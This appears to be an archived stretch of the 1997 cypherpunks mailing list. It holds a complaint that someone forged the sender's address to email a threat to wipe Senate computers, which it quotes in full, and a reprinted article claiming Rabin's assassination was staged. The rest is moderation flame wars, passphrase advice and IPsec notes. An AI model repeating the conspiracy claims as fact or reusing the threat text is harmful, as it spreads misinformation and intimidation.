authored two books on AI-related topics and a third book on the Internet. Gio Wiederhold is a professor of Computer Science at Stanford University, with courtesy appointments in Medicine and Electrical Engineering. His research focuses on large-scale software construction, specifically applied to information systems, the protection of their content, often using knowledge-based techniques. Wiederhold has authored and coauthored more than 250 published papers and reports on computing and medicine. Wiederhold received a degree in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical Information Science from the University of California at San Francisco in 1976. He has been elected fellow of the ACMI, the IEEE and the ACM. He currently serves on the ACM Publications Board, focusing on the move to electronic publication. Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley in 1981. She joined the Research Division of IBM in 1980; she is currently working in IBM Global Services. Simons is a Fellow of both the American Association for the Advancement of Science (AAAS) and ACM. In 1995 she was selected as one of 26 Internet "Visionaries" by c|net, and in 1994 Open Computing included her in its list of the top 100 women in computing. She was awarded the 1992 CPSR Norbert Wiener Award for Professional and Social Responsibility in Computing. Simons founded and chairs USACM, the ACM U. S. Public Policy Committee. From haystack at holy.cow.net Tue Feb 11 06:12:26 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Tue, 11 Feb 1997 06:12:26 -0800 (PST) Subject: No Subject Message-ID: <199702111412.GAA19466@toad.com> NEW ATTACK ON CP LIST >Date: Sun, 9 Feb 1997 03:55:04 -0500 >From: Linda Thompson >To: robert at iquest.net >Cc: aen-news at aen.org >Subject: URGENT > >Someone is sending THREATS to the President and Senate and using *MY* >name >and account to do it. One bounced and was sent to me. You should be >able >to find out where it came from by the message I.D. I think it is >EXTREMELY >important that you find out where this came from!! > >Also, earlier in the day, I got a message that I was subscribed by >"majordomo" to cypherpunks. I did NOT subscribe to cypherpunks and I >would >bet that whoever did THAT also sent this message. > >Here's the threat message: > >Return-Path: >Delivered-To: lindat at iquest.net >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000 >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1) > by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000 >Received: by fcaglp.fcaglp.unlp.edu.ar > (1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300 >Message-Id: <9702090249.AI19659 at fcaglp.fcaglp.unlp.edu.ar> >Date: Sat, 8 Feb 1997 05:12:37 -0300 >From: MAILER-DAEMON at fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem) >Subject: Returned mail: User unknown >To: lindat at iquest.net >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e >Status: U > > ----- Transcript of session follows ----- >550 xfAA16374: line 6: vice-president at whitehouse.gov... User unknown > > ----- Unsent message follows ----- >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP > (1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300 >Message-Id: <9702080812.AA16374 at fcaglp.fcaglp.unlp.edu.ar> >Date: Sat, 8 Feb 1997 05:12:37 -0300 >From: lindat at iquest.net >Return-Path: >Cc: Senator_Stevens at stevens.senate.gov, email at murkowski.senate.gov, > sessions at wrldnet.net, senator at shelby.senate.gov, > senator at bumpers.senate.gov, info at kyl.senate.gov, > Senator_McCain at mccain.senate.gov, senator at boxer.senate.gov, > senator at feinstein.senate.gov, sen_dodd at dodd.senate.gov, > senator_lieberman at lieberman.senate.gov, senator at biden.senate.gov, > bob_graham at graham.senate.gov, connie at mack.senate.gov, > senator_coverdell at coverdell.senate.gov, >senator at inouye.senate.gov, > tom_harkin at harkin.senate.gov, chuck_grassley at grassley.senate.gov, > larry_craig at craig.senate.gov, >dirk_kempthorne at kempthorne.senate.gov >Cc: senator at moseley-braun.senate.gov, lugar at iquest.net, > wendell_ford at ford.senate.gov, senator at mcconnell.senate.gov, > senator at breaux.senate.gov, senator at kennedy.senate.gov, > john_kerry at kerry.senate.gov, senator at mikulski.senate.gov, > senator at sarbanes.senate.gov, Olympia at snowe.senate.gov, > senator at levin.senate.gov, michigan at abraham.senate.gov, > mail_grams at grams.senate.gov, senator at wellstone.senate.gov, > john_ashcroft at ashcroft.senate.gov, kit_bond at bond.senate.gov, > senator at cochran.senate.gov, max at baucus.senate.gov, > conrad_burns at burns.senate.gov, senator at faircloth.senate.gov, > jesse_helms at helms.senate.gov >Cc: senator at conrad.senate.gov, senator at dorgan.senate.gov, >email at hagel96.com, > bob at kerrey.senate.gov, mailbox at gregg.senate.gov, > opinion at smith.senate.gov, frank_lautenberg at lautenberg.senate.gov, > torricel at torricelli.com, Senator_Bingaman at bingaman.senate.gov, > senator_domenici at domenici.senate.gov, senator at bryan.senate.gov, > senator_reid at reid.senate.gov, senator_al at damato.senate.gov, > senator at dpm.senate.gov, senator_dewine at dewine.senate.gov, > senator_glenn at glenn.senate.gov, senator at nickles.senate.gov, > senator at wyden.senate.gov, senator at santorum.senate.gov, > senator_specter at specter.senate.gov, >senator_chafee at chafee.senate.gov >Cc: reed at collegehill.com, senator at thurmond.senate.gov, > senator at hollings.senate.gov, tom_daschle at daschle.senate.gov, > senator_thompson at thompson.senate.gov, >senator_frist at frist.senate.gov, > senator at hutchison.senate.gov, senator at bennett.senate.gov, > senator_hatch at hatch.senate.gov, senator_robb at robb.senate.gov, > senator at warner.senate.gov, senator_leahy at leahy.senate.gov, > vermont at jeffords.senate.gov, senator_murray at murray.senate.gov, > Senator_Gorton at gorton.senate.gov, >russell_feingold at feingold.senate.gov, > senator_kohl at kohl.senate.gov, senator_byrd at byrd.senate.gov, > senator at rockefeller.senate.gov, mike at enzi.senate.gov, > craig at thomas.senate.gov >Reply-To: lindat at iquest.net >Return-Receipt-To: lindat at iquest.net >Comment: Authenticated sender is >Subject: message to USSA Senate > >All files on the Senate's computers will be deleted by our >gang of cypherpunks dedicated to the eradication of your systems. > > >============================================ > >Here's the message I got from the Cypherpunks list: > >Return-Path: >Delivered-To: lindat at iquest.net >Received: (qmail 12722 invoked from network); 8 Feb 1997 20:33:18 -0000 >Received: from toad.com (140.174.2.1) > by iquest3.iquest.net with SMTP; 8 Feb 1997 20:33:17 -0000 >Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id >MAA01758; >Sat, 8 Feb 1997 12:09:56 -0800 (PST) >Date: Sat, 8 Feb 1997 12:09:56 -0800 (PST) >Message-Id: <199702082009.MAA01758 at toad.com> >To: lindat at iquest.net >From: Majordomo at toad.com >Subject: Your Majordomo request results: subscribe cypherpunks >Reply-To: Majordomo at toad.com >X-UIDL: 52470737060e1f8e3e1776eae6a3d6ee > >-- > >Your request of Majordomo was: >>>>> subscribe cypherpunks >Succeeded. >Your request of Majordomo was: >>>>> >Your request of Majordomo was: >>>>> > > > >Kind regards, > >Linda Thompson > >******************** V *************************** > DEATH TO THE NEW WORLD ORDER >*************************************************** >Dr. Linda Thompson >Attorney at Law >TERRORISM INTELLIGENCE ANALYST >Chairman, American Justice Federation >Internet: lindat at iquest.net > >**************************************************** > Remember Waco. > The Murderers are still free. >**************************************************** >Have you seen this yet? > > http://206.55.8.10/SkyWriter/WacoMuseum From Robalini at aol.com Tue Feb 11 06:12:27 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Tue, 11 Feb 1997 06:12:27 -0800 (PST) Subject: The Konformist - The Chamish Files Continued Message-ID: <199702111412.GAA19470@toad.com> Note: Either you requested to receive a subscription to this e-mail, or someone else recommended you to be placed on this list. If you are interested in a free subscription, please e-mail Robalini at aol.com with the subject: I NEED TO KONFORM. (Okay, you can use something else, but it's a cool catch phrase.) Please e-mail me back with subject: CANCEL KONFORMIST if you're not interested in receiving this. Thanks, Robert Sterling. Subj: Rabin story Date: Tue, 04 Feb, 1997 09:43 AM EDT From: chamish at netmedia.net.il > * * * >October saw the blatant inconsistencies between the official version of events surrounding the Rabin assassination and the truth clash publicly. Early in the month, Maariv's weekend magazine published a remarkable collection of testimony from seven policemen and security agents on duty at the assassination scene that fueled suspicions of a conspiracy from many formerly skeptical readers. On October 18, the author of this piece was the victim of an eight minute hatchet job on Israel Channel Two Television's weekend magazine show that was shown again the next night. Despite the blatant attempt at character assassination, as Yediot Ahronot reported the Sunday following, I succeeded in igniting renewed national interest in the possibility that Rabin's murder was not as officially reported. > >First the Maariv report. We begin with the issue of whether the alleged assassin, Yigal Amir's bullets were real or not. It is not denied by the Shamgar Commission that "Blanks, blanks," was yelled by someone while Amir's shot his weapon. The conclusion is that Amir yelled it to confuse Rabin's bodyguards, a contention he denies. It turns out that more than just "Blanks, blanks" was shouted. > >S.G.- Shabak Agent Under Command of Rabin's bodyguard Yoram Rubin- "I heard very clearly, `They're not real, they're not real,' during the shooting." >A.A.- Personal Security Head of the Shabak- "I heard one shot and someone shouting,`Not real, not real.' I can't say with certainty if it came from the shooter." >Avi Yahav, Tel Aviv policeman- "The shooter yelled, `They're caps, nothing, caps.'" > >None of the police or security men heard the famous `Srak,srak,' (blanks,blanks) shout. The scene they describe is of a number of people shouting different phrases. What united the shouters was their belief that blank bullets were being shot. > >How many bullets were shot? > >A.H.-Agent assigned to Yoram Rubin's staff- "I heard one shot, followed by another." >Maariv to A.A.- "Are you certain you only heard one shot?" A.A.- "Absolutely certain." >Avi Yahav- "I heard a number of shots. I'm not sure how many." >S.G.- "As I approached the car, I heard three shots." > >The inability of security and police personnel trained to testify in court to agree on the number of shots is puzzling but on one issue all agree; none thought Rabin was hurt. > >Y.S.- Shabak Head of Security for the Tel Aviv rally- "I heard Rabin was wounded only when I arrived at Ichilov Hospital some minutes later." >S.G.- I didn't hear any cry of pain from the Prime Minister and didn't see any signs of blood whatsoever...It wasn't until some time after that I was told that Yoram Rubin was hurt." >A.A.- "Only after a number of inquiries as to whether Rabin was hurt, did I drive in shock to Ichilov." > >None of the security or police personnel detected any sign that Rabin was hurt, a quite inexplicable fact when one considers that he was not merely hurt but supposedly shot in the lung and spleen by two hollowpoint 9 mm bullets. However, the "amateur" film of the assassination exonerates the witnesses. After the film shows the blast from Amir's gun, Rabin is not pushed forward by the pressure of the bullet, nor does he evince pain. Rather, he keeps on walking and turns his head quickly to his left. > >Before examining the next issue of the Maariv article, let us skip to the report on my research on Channel Two. Despite the snow job, one of my points came across loud and clear and went a long way to keeping my name from being totally besmirched. I showed the assassination film and pointed out that as Rabin entered his car, the opposite side passenger door is slammed shut. I said, the only way the door could be shut was if someone was inside the car shutting it. This would be in contradiction of the Shamgar report which has Rabin and Rubin entering an empty car. Channel Two saved my dignity by saying the door was shut by the vibrations caused by Rabin's entrance. Throughout the country, people opened their back car doors and started shaking their vehicles. Nothing could make their doors shut. Further, Rabin's door was armoured and weighed several hundred more pounds than the average car door. Add to the facts that the open front door of Rabin's car did not shut with the back, nor is any shaking of the vehicle in evidence on the film and you have someone, perhaps the real murderer, waiting for Rabin inside the car. > >Now the testimony of Yoram Rubin, Rabin's head of personal security. On November 8, 1995 he was quoted as saying in the New York Times that Rabin's last words to him in the car were that he was hurt but not seriously. Let's look what he told the police on the night of the murder and later testified to the Shamgar Commission and at Yigal Amir's trial. > >Rubin to the Police from 1:07 AM, Nov. 5, 1995:"I lifted the prime minister and pushed him into the car." >To the Shamgar Commission:"He (Rabin) helped me get up. That is to say, we worked together...We jumped, really jumped. I'm surprised, in retrospect, that a man his age could jump like that." >At Amir's trial: "I grabbed him by his shoulders and asked him, `Yitzhak, do you hear me, only me?" In this version Rabin did not answer at all. In previous versions he said he wasn't hurt badly or actually helped Rubin to his feet. > >Perhaps the most confusing piece of testimony concerns the critical moments when he enters the car with Rabin. The assassination film shows the opposite back passenger door being closed from the inside and the other back door being pushed closed from the outside. Yet Rubin testifies,"We fell onto the seat together and I slipped between the front and back seat. His legs and mine were dangling outside as I yelled to the driver,`Get out of here.' He started driving and I lifted his (Rabin's) and my legs inside and closed the door. This all took 2-3 seconds." > >A most curious incident occurs on the way to Ichilov Hospital, normally less than a minute's drive from the supposed murder site. The trip took from 9:45 to 9:53. With a minute and a half driving time to go, Rabin's driver Menachem Damti picks up a policeman, Pinchas Terem, to help direct him to the hospital. Damti, an experienced driver needed no help in finding Ichilov but even that isn't the main point. With the prime minister dying beside him, the altruistic Yoram Rubin says to the new passenger, "I'm wounded. Bandage me." As for Rabin, we can only guess he didn't care that his wounds needed much more urgent attention. Terem completed his bizarre testimony by noting that Damti did not notify Ichilov by radio that he was coming and thus the hospital staff was totally unprepared for Rabin's arrival. > >One conclusion of many that can be reached from the testimony of all the witnesses is that Rabin was unhurt by Amir's blank bullets and was shot inside the car. Rubin took a harmless arm wound to cover his role in the event and Damti picked up a policeman as a witness in case of future disbelief. > >If this scenario or something more insidious is not to be given credence, all the contradictory testimony will have to properly sorted out at an honest commission of inquiry. And this hypothetical commission will have to answer how the back passenger door of Rabin's car really closed as he entered the vehicle. -------------------------------------------- Sent by Barry Chamish - Israeli journalist. Phone/Fax : (972)-2-9914936 E-Mail : chamish at netmedia.net.il ************************************************************ The Konformist is interested in accepting articles, opinions, free subscriptions, and advertising. E-mail us at Robalini at aol.com, or call (310) 967-4195. The Konformist is a subsidiary of Sterling Operation Solutions, the trouble-shooting problem-solvers for all business needs. We charge on a sliding scale based on the difficulty (and legality) of the proposed solution. Call (310) 967-4195 for further information. Hey kids, don't forget to enter the "Rockin' To Armageddon Sweepstakes", sponsored by The Konformist, the Official Internet Investigative Journal of the 1997 Academy Awards. (Okay, it's not official, but we're anti-authority anyways.) Right down the day, month, year, and time of the end of the world, and, as a tie-breaker, your nominee for the anti-Christ. The winner will receive a t-shirt stating, "I Came Closest To Predicting The Apocalypse, And All I Got Was This Crummy T-Shirt." You will also receive a free one year supply of Twix candy bars. Also, this is a free magazine, but we'll still take your money if you want. Please send cash, check, money orders, and credit card numbers (Visa, Master Card, American Express, or Discover) to: Robert Sterling Post Office Box 24825 Los Angeles, California 90024-0825 From aronb at nishna.net Tue Feb 11 06:25:56 1997 From: aronb at nishna.net (Aron Bierbaum) Date: Tue, 11 Feb 1997 06:25:56 -0800 (PST) Subject: UNSUBCRIBE CENSORSHIP Message-ID: <199702111425.GAA19704@toad.com> UNSUBCRIBE CENSORSHIP From lutz at as-node.jena.thur.de Tue Feb 11 06:25:57 1997 From: lutz at as-node.jena.thur.de (Lutz Donnerhacke) Date: Tue, 11 Feb 1997 06:25:57 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702111425.GAA19706@toad.com> * Ed Falk wrote: > Can't remailers be written with basic spam safeguards? I.e. no mass > crossposts, limited # of posts by each individual client per day, etc.? Yes, thay can, but using PGP is enough to filter out the majority of spammers. -- | Lutz Donnerhacke +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax | From dthorn at gte.net Tue Feb 11 06:26:00 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 06:26:00 -0800 (PST) Subject: MODERATION Message-ID: <199702111426.GAA19721@toad.com> E. Allen Smith wrote: > While I ultimately concluded it (or at least the manner of doing it) > was a bad idea, I am appreciative of the effort. I hope this won't discourage > you too much from trying out other (hopefully better) ideas. Great idea, Allen. The fox only ate *some* of the chickens first time around, but let's train the fox a little, and then throw him into the chicken coop for round two. Like, fer sure. From ravage at einstein.ssz.com Tue Feb 11 06:26:03 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 06:26:03 -0800 (PST) Subject: Feb. 15 Meeting (fwd) Message-ID: <199702111426.GAA19725@toad.com> Forwarded message: From dlv at bwalk.dm.com Tue Feb 11 06:26:05 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 11 Feb 1997 06:26:05 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111426.GAA19741@toad.com> "Jerry Basham" writes: > You're going to have to find a way to make this junk, piss juvenile crap > stop coming into my e-mail box. Period. I don't think this guy is for real... No one's that stupid. Must be another Gilmore tentacle. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 11 06:26:06 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 11 Feb 1997 06:26:06 -0800 (PST) Subject: RRE: Proposed satellite monitoring of car movements in Sweden Message-ID: <199702111426.GAA19743@toad.com> From: IN%"bdolan at USIT.NET" "Brad Dolan" 9-FEB-1997 10:35:16.85 >"Love it or leave it?" >On Sun, 9 Feb 1997, Phil Agre wrote: >> You have plenty of choice. If you don't like our country, move somewhere >> else. I made the point back to Dr. Agre that I can't choose to live in _no_ country (at least not practically), but I can (except for state-imposed limits) live without automobile insurance. I already do so for credit cards, except for one I use only in emergencies. -Allen From mgursk1 at umbc.edu Tue Feb 11 06:26:08 1997 From: mgursk1 at umbc.edu (Michael Gurski) Date: Tue, 11 Feb 1997 06:26:08 -0800 (PST) Subject: Taking advantage of Newt's phone calls Message-ID: <199702111426.GAA19746@toad.com> -----BEGIN PGP SIGNED MESSAGE----- It seems like Sprint's taking advantage of the tap on Newt's little call there by advertising how Sprint Spectrum is private and no one can listen in, with little "signal" graphics going from one SS phone to another in DC... Cute... |\/|ike Gurski mgursk1 at umbc.edu http://www.gl.umbc.edu/~mgursk1/ finger/mail subject "send pgpkey"|"send index" Hail Eris! -><- O- |Member, 1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570 | Team My opinions are mine alone, even if you should be sharing them. | OS/2 Senate Finance Committee Chair, SGA 1996-1997 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: I am not a number, I am a free man! iQCVAwUBMv4NVCKEMrE5tbrdAQFIpgQAsS87dmofyalpLJMJjIRk71KmZheEbhnJ WNvCO2fvvxP5aURbeh/MwVV7KOL0hcISPVWoFXrP9HmWSuhc3X7TRCQKVGESTOzS 9z2TaTF8hcAV8PFN3CCReBU5p/6OUBLN85pMbgyk818hAMf9LRhnroauSzQlXtGz iAhkvhlnBUg= =eAZ+ -----END PGP SIGNATURE----- From jya at pipeline.com Tue Feb 11 06:26:12 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 06:26:12 -0800 (PST) Subject: HIC_rim Message-ID: <199702111426.GAA19761@toad.com> 2-10-97 NYT has Page One lead on high resolution commercial "spy satellites," and the welter of political, social, economic and national security consequences as foreign governments, corporations and individuals hire them to invade privacy, secret sites and labs. A nearby story reports on organized crime's shift to new industries, especially those reliant on high technology: calling cards, stock offerings and health care. ----- HIC_rim From isptv at access.digex.net Tue Feb 11 06:26:14 1997 From: isptv at access.digex.net (ISP-TV Main Contact) Date: Tue, 11 Feb 1997 06:26:14 -0800 (PST) Subject: Ken Bass Interview Schedule Corrections Message-ID: <199702111426.GAA19767@toad.com> *** ISP-TV Schedule Correction *** Ken Bass (counsel for Phil Karn) interviewed live on "Real Time" *** >> *** Monday, Feb. 10 *** << Note the date correction *** 9:00 PM ET *** Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti, LLP, and is the head of that firm's Appellate Practice Group. Recently Venable served as counsel to Phil Karn during his dispute with the Department of State concerning export of a diskette containing the source code for cryptographic algorithms published in the book _Applied_ _Cryptography_, having already received permission to export the book. See http://isptv.digex.net/real.time.html for more information about "Real Time" Call-in questions will be taken during the show at (301) 847-6571. **** This video interview can be viewed on the ISP-TV main CU-SeeMe reflector at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at http://isptv.digex.net/members.html. See URL http://isptv.digex.net for more information about the ISP-TV Network To get email about future programming on ISP-TV, email the word "subscribe" to isptv-prog-request at isptv.digex.net. To obtain Enhanced CU-SeeMe software, go to: http://goliath.wpine.com/cudownload.htm From jya at pipeline.com Tue Feb 11 06:26:23 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 06:26:23 -0800 (PST) Subject: Who's Censoring Who? Message-ID: <199702111426.GAA19804@toad.com> Sandy's e-mailed several of us who've sent messages about Vulis's ploy to put Sandy in a conflict-of-interest bind -- a well-known attack on moderators of all kinds, not just on the net. What's worth admiring is how Vulis has adeptly managed to get others -- targets and witting and unwitting cohorts -- to go along with his attack, attack, attack, by opposing or supporting it. A useful lesson. Smart dude, that Vulis, but no more so than others on the Net, say, Tim May, and in the world who've done the same elsewhere, maybe by even smarter dude(s) who provoked, angered, insulted, an unwitting Vulis, or May, to attack on behalf of ... But such deception is to be expected, along with feigned suprise and outrage at the unfairness of opponents fighting as dirty as one's own pure-blackhearts. Sandy's not censoring cypherpunks, nor is Vulis or May or any single person alone. As Pogo said, it's all of us, posters and lurkers and spooks, each trying to get one's way to prevail, under guise of a high principle not easily honored when the squeeze is on alone in a dark cell. Come on out Sandy, it was just a drill. It's probably worth saving accusations of censorship for the real thing, after trial usage here for what is truly nasty high-stakes global info-war gaming. From anand at querisoft.com Tue Feb 11 06:26:23 1997 From: anand at querisoft.com (anand abhyankar) Date: Tue, 11 Feb 1997 06:26:23 -0800 (PST) Subject: sandy who?? Message-ID: <33013873.4214@querisoft.com> hi guys, i am a new addition on the mailing list. i am amazed to find that half the mails talk about "sandy (god knows who he is) and he censoring mails" rather than crypto stuff. somebody please let me know who sandy is and what exactly is this censoring issue. anand.... From Butler Tue Feb 11 06:26:24 1997 From: Butler (Butler) Date: Tue, 11 Feb 1997 06:26:24 -0800 (PST) Subject: remailer-operators DEA agents? Message-ID: <199702111426.GAA19810@toad.com> > >Again, I am only on the Flames list. So why was this message sent to the >Flames list? Because someone responded to a Vulis post? Is a response to a >Banned Message now grounds for rejection? > After whinghing about Dimitri and about people sending flames to the list, you only subscribe to the flames-list.... you just don't make sense Timmy. Scott From richieb at teleport.com Tue Feb 11 06:26:27 1997 From: richieb at teleport.com (Rich Burroughs) Date: Tue, 11 Feb 1997 06:26:27 -0800 (PST) Subject: Ann: Encrypted disks for Windows NT (fwd) Message-ID: <199702111426.GAA19816@toad.com> Anyone seen this here? I wasn't sure if it had been posted, so I thought I'd pass it on. I have not looked at the software yet... Rich ---------- Forwarded message ---------- Date: Mon, 10 Feb 1997 03:18:03 +0200 (IST) From: softwinter at post1.com To: richieb at teleport.com Subject: Ann: Encrypted disks for Windows NT Soft Winter Corporation, February 10, 1997 released: Shade - strong encryption software for Windows NT. Shade allows you to create encrypted disk device inside a file. Such a device can then be formatted using any file system (like NTFS or FAT) and used as a regular disk. The only difference is that Shade will encrypt the data on every write operation and decrypt it on every read operation. To download go to: http://softwinter.bitbucket.co.il Soft Winter Corporation, softwinter at post1.com From jer+ at andrew.cmu.edu Tue Feb 11 06:26:32 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 11 Feb 1997 06:26:32 -0800 (PST) Subject: Passphrase generation Message-ID: <199702111426.GAA19838@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Internaut writes: > Hi, > I am wanting to learn how to generate a passphrase that is at least as > strong as the IDEA algorithm. I have looked several other places on the > web for an answer to this, but they all had different things to say that > didn't add up (no pun intended :). Chech out the cannonical passphrase FAQ: http://www.stack.nl/~galactus/remailers/passphrase-faq.html This one has some quick reminders of what to do and not to do http://www.encryption.com/pphrase.htm Bottom line, totally random ASCII will have lots of bits per character, but english has about 1.2 bits per character. Misspellings can add to that, depending on the extent of mutillation . Combining certain words can make your passphrase weaker (such as "To be or not to be," "This is my passphrase," etc.). HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMv48Bskz/YzIV3P5AQGSaQMAjrTuhDUZ4THFFN9wgV8DhODJtHSGnmBM EPmo02rXsN4gslmVpV9+k7sRTOvuZ+vCYvNQL+knaMz4QiNsz8FUleUqo3v5Nx1w 7pJjcWK1wvKe9Y6ky6PXnAECRZ73gVuj =P1Zh -----END PGP SIGNATURE----- From scndsun at sprynet.com Tue Feb 11 06:26:32 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:26:32 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111426.GAA19840@toad.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From ji at hol.gr Tue Feb 11 06:26:39 1997 From: ji at hol.gr (John Ioannidis) Date: Tue, 11 Feb 1997 06:26:39 -0800 (PST) Subject: question on setting up for ipsec/linux Message-ID: <199702111426.GAA19858@toad.com> I'm away from Greece until the end of february. Some questions I may be able to answer, but I don't have the ipsec code with me, nor do I have a setup where I can test things. Here are some tips that may help you though. * The code has been tested under 2.0.27 and 2.0.28. It will probably run on kernels down to 2.0.24. It will not even load with 2.1.x. * Only "tunnel mode" works. I'm waiting for a few more chances to occur to the 2.1.x routing code before I move the IPSEC code to 2.1.x and implement transport mode. * While not reflectedected in the (excuse for) documentation, I *have* tested all the modes for all the transforms. Of course, I may have interpreted the I-Ds in the wrong way, but I don't think so. The following transforms are supported: ah md5 esp des (with 32 and 64 bit IVs) ah hmac-md5 ah hmac-sha-1 esp des-md5 esp 3des-md5 Please not that the des-md5 and 3des-md5 have this weird concept of the Initiator and Responder. Since we're still doing manual keying anyway, it doesn't matter much wich side is which, and it doesn't even matter which if both sides are Is or Rs. The information is onlyl used to derive the encryption and authentication keys, the IV and the counter, from the (hopefully) negotiated shared secret. If all else fails, set both sides to be Initiators, and this way you won't have to think about which "setsa" lines get an r and which get an i. I'll try to write up som e more docs when I'm back in Athens, but if someone else from Europe could do it, it would be good. /ji From Butler Tue Feb 11 06:26:39 1997 From: Butler (Butler) Date: Tue, 11 Feb 1997 06:26:39 -0800 (PST) Subject: MODERATION Message-ID: <199702111426.GAA19859@toad.com> Sandy writes: > >C'punks, > >I'm ending my participation in the moderation of the list. Well that was short and ..... errr bitter! > It would have been an interesting experiment if list members had >been open minded enough to give it a good faith effort. ^^^^^^^^^^^^^^^ There's a difference between being open minded and gullible Sandy. Nothing like ducking and running away when your little game didn't turn out the way that you wanted it to! This is not a flame, it is my opinion but none the less I'm sure that it will end up in the flames list or be conveniently lost in the masses of mail that John's majordomo receives every day. Scott. > From scndsun at sprynet.com Tue Feb 11 06:26:41 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:26:41 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111426.GAA19861@toad.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Tue Feb 11 06:26:48 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:26:48 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111426.GAA19879@toad.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Tue Feb 11 06:27:03 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:27:03 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111427.GAA19930@toad.com> You're going to have to fine a way to get me off of your piss-ant mailing list. ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal 